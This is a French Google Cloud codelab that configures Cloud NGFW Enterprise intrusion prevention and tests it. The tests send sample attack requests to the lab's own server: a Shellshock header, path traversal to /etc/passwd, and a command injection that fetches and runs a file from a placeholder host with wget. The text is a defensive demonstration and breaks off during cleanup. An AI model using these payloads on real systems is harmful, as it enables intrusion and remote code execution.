Cloud NGFW Enterprise – Service de prévention des intrusions (sans inspection TLS)

1. Introduction

Pare-feu Cloud nouvelle génération (NGFW)

Cloud Next Generation Firewall est un service de pare-feu entièrement distribué offrant des fonctionnalités de protection avancées, une microsegmentation et une couverture omniprésente pour protéger vos charges de travail Google Cloud contre les attaques internes et externes.

Cloud NGFW présente les avantages suivants :

  • Service de pare-feu distribué: Cloud NGFW fournit une application basée sur l'hôte entièrement distribuée avec état pour chaque charge de travail afin d'offrir une architecture de sécurité zéro confiance.
  • Configuration et déploiement simplifiés: Cloud NGFW implémente des stratégies de réseau et de pare-feu hiérarchiques pouvant être associées à un nœud de la hiérarchie des ressources. Ces stratégies fournissent une expérience de pare-feu cohérente dans la hiérarchie des ressources Google Cloud.
  • Contrôle précis et microsegmentation: la combinaison des stratégies de pare-feu et des tags gérés par IAM (Identity and Access Management) offre un contrôle précis pour le trafic Nord-Sud et le trafic Est-Ouest sur une seule VM dans les réseaux de cloud privé virtuel (VPC) et les organisations.

Cloud NGFW est disponible dans les niveaux suivants :

Cloud NGFW Enterprise

Cloud NGFW Enterprise ajoute le service de prévention des intrusions (IPS), une fonctionnalité de couche 7, au tissu distribué du pare-feu Google Cloud. L'inspection TLS est prise en charge pour permettre l'inspection du trafic chiffré TLS, mais elle ne fait pas l'objet de cet atelier de programmation (voir Atelier de programmation Cloud NGFW Enterprise avec inspection TLS).

Vous pouvez désormais déployer des inspections NGFW (Next Generation Firewall) de couche 7 fiables avec des commandes précises, sans modifier votre architecture réseau ni vos configurations de routage.

Pour activer et déployer le contrôle du pare-feu de couche 7 avec IPS, vous devez effectuer les tâches suivantes:

  • Créez un ensemble de points de terminaison de pare-feu zonaux gérés par Google Cloud.
  • Créer une règle d'inspection TLS (facultatif) (non abordé dans cet atelier de programmation)
  • Créer une configuration de confiance (facultatif) (non abordé dans cet atelier de programmation)
  • Associez ces points de terminaison aux réseaux cloud privé virtuel (VPC) pour lesquels vous avez besoin du service Cloud NGFW Enterprise.
  • Apportez des modifications simples à vos stratégies et règles de pare-feu existantes pour spécifier les profils de prévention des menaces pour les différents chemins de trafic.

Stratégies de pare-feu réseau

La stratégie de pare-feu réseau sert de conteneur pour les règles de pare-feu. Les règles définies dans une stratégie de pare-feu réseau ne sont appliquées nulle part tant que la stratégie n'est pas associée à un réseau VPC. Chaque réseau VPC peut avoir une stratégie de pare-feu réseau associée. Les stratégies de pare-feu réseau acceptent les tags gérés par IAM (ou simplement des tags) dans les règles de pare-feu, qui remplacent les tags réseau actuels et peuvent être utilisés pour fournir une identité à la charge de travail.

Le partage d'une stratégie de pare-feu réseau entre les réseaux et l'intégration avec les tags gérés par IAM simplifient grandement la configuration et la gestion des pare-feu.

Avec l'introduction de la stratégie de pare-feu réseau, les stratégies de pare-feu de Google Cloud se composent désormais des composants suivants:

  1. Stratégie de pare-feu hiérarchique
  2. Règles de pare-feu VPC
  3. Stratégie de pare-feu réseau ( mondiale et régionale)

Les stratégies de pare-feu hiérarchiques sont prises en charge au niveau des nœuds d'organisation et de dossier de la hiérarchie des ressources, tandis que les règles de pare-feu VPC et les stratégies de pare-feu réseau sont appliquées au niveau du VPC. Les règles de pare-feu VPC et les stratégies de pare-feu réseau présentent une grande différence : les règles de pare-feu VPC ne peuvent être appliquées qu'à un seul réseau VPC, tandis que les stratégies de pare-feu réseau peuvent être associées à un seul VPC ou à un groupe de VPC, entre autres avantages comme les mises à jour par lot.

Enfin, nous avons également les règles de pare-feu implicites qui accompagnent chaque réseau VPC:

  • Une règle de sortie dont l'action est "allow" et dont la destination est 0.0.0.0/0
  • Une règle d'entrée dont l'action est "deny", dont la source est 0.0.0.0/0

Par défaut, la séquence d'application est illustrée dans le schéma suivant:

21b3bcabc469ffe.png

Notez que l'ordre d'application entre les règles de pare-feu VPC et la stratégie de pare-feu réseau mondiale peut être inversé. Les clients peuvent spécifier l'ordre d'application à tout moment à l'aide d'une commande gcloud.

Tags gérés par IAM

Les nouveaux tags intégrés aux règles des stratégies de pare-feu réseau sont des ressources de paires clé-valeur définies au niveau de l'organisation ou du projet de la hiérarchie des ressources Google Cloud. Comme son nom l'indique, un tel tag contient un contrôle des accès IAM qui spécifie qui peut faire quoi sur le tag. Les autorisations IAM, par exemple, permettent de spécifier les comptes principaux qui peuvent attribuer des valeurs aux tags et quels comptes principaux peuvent associer des tags aux ressources. Une fois qu'un tag a été appliqué à une ressource, les règles de pare-feu réseau peuvent l'utiliser pour autoriser et refuser le trafic.

Les tags respectent le modèle de ressource d'héritage de Google Cloud, ce qui signifie que les tags et leurs valeurs sont transmis à la hiérarchie par leurs parents. Par conséquent, les tags peuvent être créés au même endroit, puis utilisés par d'autres dossiers et projets dans toute la hiérarchie des ressources. Pour en savoir plus sur les tags et les restrictions d'accès, consultez cette page.

Vous ne devez pas confondre les tags avec les tags réseau. Ces derniers sont des chaînes pouvant être ajoutées aux instances Compute Engine. Elles sont associées à l'instance et disparaissent lorsqu'elle est mise hors service. Les règles de pare-feu VPC peuvent inclure des tags réseau, mais comme ils ne sont pas considérés comme des ressources cloud, ils ne sont pas soumis au contrôle d'accès IAM.

Notez que les termes "tags" et "tags gérés par IAM" sont utilisés de manière interchangeable dans ce document.

Objectifs de l'atelier

Cet atelier de programmation nécessite un seul projet et la possibilité de créer un réseau VPC avec une connectivité publique. Il vous montrera comment Cloud NGFW Enterprise peut fournir des fonctionnalités IPS en procédant comme suit:

  • Inspecter les flux intra-VPC/sous-réseau [Est-Ouest]
  • Inspecter les flux d'entrée provenant d'Internet [Nord-Sud]

Les flux à inspecter seront sélectionnés à l'aide de paramètres de correspondance du pare-feu Cloud, y compris le tuple 5 (adresse IP source, adresse IP de destination, protocole, port source, port de destination) et les tags. L'inspection TLS n'est pas incluse dans cet atelier de programmation.

52a0642ef8668ecf.png

La base de règles de la stratégie de pare-feu réseau ressemblera à celle du tableau ci-dessous:

Priorité

Sens

Cible

Source

Destination

Action

Type

100

Sortie

Quarantine_Tag

Tous

Tout

Refuser

Les indispensables

1000

Entrée

Server_Tag

Plages de vérification de l'état

Tous

Autoriser

Les indispensables

2000

Entrée

Tous

Intervalles Identity-Aware Proxy

Tous

Autoriser

Les indispensables

3000

Entrée

Tous

Géo, GCTI

Tous

Refuser

Standard

4000

Sortie

Tous

Tous

Géo, GCTI

Refuser

Standard

5000

Sortie

Tous

Tous

Noms de domaine complets de mise à jour du système

Autoriser

Standard

6000

Entrée

Server_Tag

10.0.0.0/24

Tous

IPS

Entreprise

7000

Entrée

Server_Tag

CloudNAT_IP

Tous

IPS

Entreprise

Points abordés

Prérequis

  • Projet Google Cloud
  • Connaissances du déploiement d'instances et de la configuration des composants réseau
  • Connaissances de la configuration des pare-feu VPC

2. Avant de commencer

Créer/Mettre à jour des variables

Cet atelier de programmation utilise des $variables pour faciliter l'implémentation de la configuration gcloud dans Cloud Shell.

Dans Cloud Shell, exécutez les commandes ci-dessous en remplaçant les informations entre crochets si nécessaire (ignorez la définition du projet si celui souhaité est déjà défini). Une variable différente est utilisée pour les ressources au niveau de l'organisation si plusieurs points de terminaison de pare-feu, par exemple, sont nécessaires.

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

3. Activer les API

Si vous ne l'avez pas déjà fait, activez les API:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Création d'un profil de sécurité et d'un point de terminaison Cloud NGFW Enterprise

La création du point de terminaison Cloud NGFW Enterprise prend environ 20 minutes. Il sera donc créé en premier, et la configuration de base pourra être effectuée en parallèle pendant la création du point de terminaison.

Créez le profil de sécurité et le groupe de profils de sécurité:

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

Résultat attendu :

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

Vérifiez que les ressources ont bien été créées:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Résultat attendu :

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

Créez le point de terminaison Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

Exécutez la commande ci-dessous pour vérifier que le point de terminaison est en cours de création (STATE: CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Résultat attendu (notez que le format de sortie peut varier en fonction du client utilisé):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

Vous pouvez également exécuter la commande ci-dessous pour obtenir plus d'informations:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Résultat attendu :

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

Le processus de création du point de terminaison prend environ 20 minutes. Passez à la section "Configuration de base" pour créer les ressources requises en parallèle.

5. Configuration de base

Passez aux sections suivantes si vous préférez créer manuellement les ressources de base.

Réseau et sous-réseau VPC

Réseau et sous-réseau VPC

Créez le réseau et le sous-réseau VPC:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Créez les routeurs Cloud et les passerelles Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Instances

Créez les instances client et de serveur Web:

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

Balises au niveau du projet

Attribuez les autorisations tagAdmin et/ou tagUser à l'utilisateur si nécessaire:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

Créez la clé et les valeurs de tag au niveau du projet:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

Liez des tags à des instances:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Stratégie de pare-feu de réseau au niveau mondial

Créez une stratégie de pare-feu réseau au niveau mondial:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

Créez des règles Cloud Firewall Essential pour refuser le trafic provenant d'instances en quarantaine (créées à titre d'exemple uniquement, et non utilisées dans cet atelier de programmation) et autoriser le trafic provenant des plages health-check et identity-aware proxy:

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

Créez des règles Cloud Firewall standards pour refuser le trafic entrant et sortant des pays soumis à embargo, des adresses IP malveillantes connues et des nœuds de sortie ToR, et n'autorisez que le trafic sortant vers des noms de domaine complet spécifiques pour les mises à jour du système (créé à titre d'exemple uniquement, et non utilisé dans cet atelier de programmation):

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

Créez des règles de pare-feu Cloud pour autoriser le trafic entrant est-ouest / intra-sous-réseau et nord-sud / Internet à partir des plages spécifiques (ces règles seront mises à jour pour activer Cloud NGFW Enterprise):

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Associez la stratégie de pare-feu réseau au réseau VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

Équilibreur de charge réseau TCP/UDP externe

Réservez une adresse IP externe, puis créez le groupe d'instances et la vérification de l'état:

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

Créez le service de backend et la règle de transfert:

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6. Association de points de terminaison Cloud NGFW Enterprise

Redéfinissez les variables d'environnement si nécessaire.

Vérifiez que la création du point de terminaison du pare-feu cloud a bien été effectuée. Ne continuez que lorsque l'état est ACTIVE (l'état attendu pendant la création est CREATING):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Résultat attendu (notez que le format de sortie peut varier en fonction du client utilisé):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

Vous pouvez également exécuter la commande ci-dessous pour obtenir plus d'informations:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Résultat attendu :

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

Associez le point de terminaison Cloud NGFW Enterprise au réseau VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

Le processus d'association prend environ 10 minutes. Ne continuez que lorsque l'état indique ACTIVE (l'état attendu est CREATING (EN COURS DE CRÉATION) pendant le processus de création):

gcloud network-security firewall-endpoint-associations list

Résultat attendu :

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

Vous pouvez également exécuter la commande ci-dessous pour obtenir plus d'informations:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Résultat attendu :

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

7. Règles d'inspection Cloud NGFW Enterprise

Ouvrez un nouvel onglet et établissez une connexion SSH à la VM cliente via l'API IAP (vous devrez à nouveau définir les variables dans le nouvel onglet):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Définissez les variables requises dans la session SSH et définissez-les (assurez-vous que les valeurs sont correctes):

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

Exécutez curl sur les deux adresses IP pour vérifier qu'elles sont accessibles:

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

Résultat attendu pour les deux requêtes curl:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

Envoyer des exemples d'attaques à l'adresse IP du serveur interne (trafic est-ouest / intra-VPC) Le serveur Web doit répondre à toutes les requêtes, ce qui confirme qu'aucune inspection/prévention de niveau L7 n'est en place:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Renvoyez les exemples d'attaques à l'adresse IP du serveur externe via Cloud NAT (trafic entrant Nord-Sud). De même, le serveur Web doit répondre à toutes les requêtes:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Résultats attendus pour les adresses IP publiques et privées:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Revenez à Cloud Shell et modifiez les règles d'entrée existantes pour activer l'inspection L7:

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

Vous pouvez également décrire les règles de pare-feu pour vérifier qu'elles ont bien été mises à jour:

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Résultat attendu :

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Règle 7000:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Résultat attendu :

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Revenez à la VM cliente et renvoyez les exemples d'attaques à l'adresse IP du serveur interne (inspection East-West / intra-VPC):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Renvoyez les exemples d'attaques à l'adresse IP du serveur externe via Cloud NAT (inspection entrante nord-sud):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Aucune réponse n'est reçue pour les premières attaques, comme indiqué dans la sortie attendue ci-dessous, ce qui confirme que les attaques de gravité élevée sont désormais bloquées.

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Accédez à "Sécurité du réseau" > "Menaces" dans la console Cloud pour vérifier les journaux (vous devrez peut-être actualiser plusieurs fois la page si les attaques ne s'affichent pas encore).

daa535fcc34873aa.png

Choisissez l'une des attaques, puis cliquez sur "Afficher le journal des audits" sur la droite (ouvrez-le dans un nouvel onglet pour pouvoir facilement revenir en arrière). Développez l'attaque pour afficher les détails:

5f97cdef79e42eff.png

Vous pouvez également remplacer le filtre de l'explorateur de journaux par la requête ci-dessous:

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

Les entrées du journal des menaces doivent se présenter comme suit:

5ea9581a7eb694c5.png

Vous pouvez vérifier les paquets interceptés par Cloud Firewall à l'aide du filtre de l'explorateur de journaux ci-dessous (utile pour le dépannage):

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

Passez à l'inspection du trafic Internet (facultatif) ou fermez la session SSH et passez au chapitre suivant pour découvrir les étapes de nettoyage.

[Facultatif] Inspection du trafic Internet

Comme vérifié dans la section précédente, les flux inspectés jusqu'à présent sont les flux intra-sous-réseau/VPC (est-ouest) et le trafic entrant depuis Internet (nord-sud entrant). Cloud NGFW Enterprise peut également être configuré pour inspecter tout le trafic Internet (sortant nord-sud) en créant une règle de sortie à l'aide de Cloud Shell:

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

Revenez à la VM cliente et renvoyez les attaques de gravité élevée à l'adresse IP du serveur externe:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

Résultat attendu :

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

Accédez à l'onglet "Menaces" de la console Cloud pour vérifier les journaux (vous devrez peut-être actualiser plusieurs fois). Les attaques auraient dû être identifiées et enregistrées à nouveau, mais l'adresse IP source est désormais interne, car une règle de sortie est déclenchée en premier:

36f8edf264dcddcd.png

Fermez la session SSH, puis passez à la section suivante pour suivre les étapes de nettoyage.

8. Procédure de nettoyage

Nettoyage des composants Cloud NGFW Enterprise

Répertoriez les associations Cloud NGFW Enterprise existantes:

gcloud network-security firewall-endpoint-associations list

Supprimez l'association Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone

gcloud network-security firewall-endpoint-associations list

Répertoriez les points de terminaison Cloud NGFW Enterprise existants:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Supprimez le point de terminaison Cloud NGFW Enterprise, ce qui peut prendre environ 20 minutes:

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

Vérifiez que le Cloud NGFW Enterprise a été supprimé en exécutant la commande ci-dessous:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Supprimez le groupe de profils de sécurité et le profil de prévention des menaces:

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
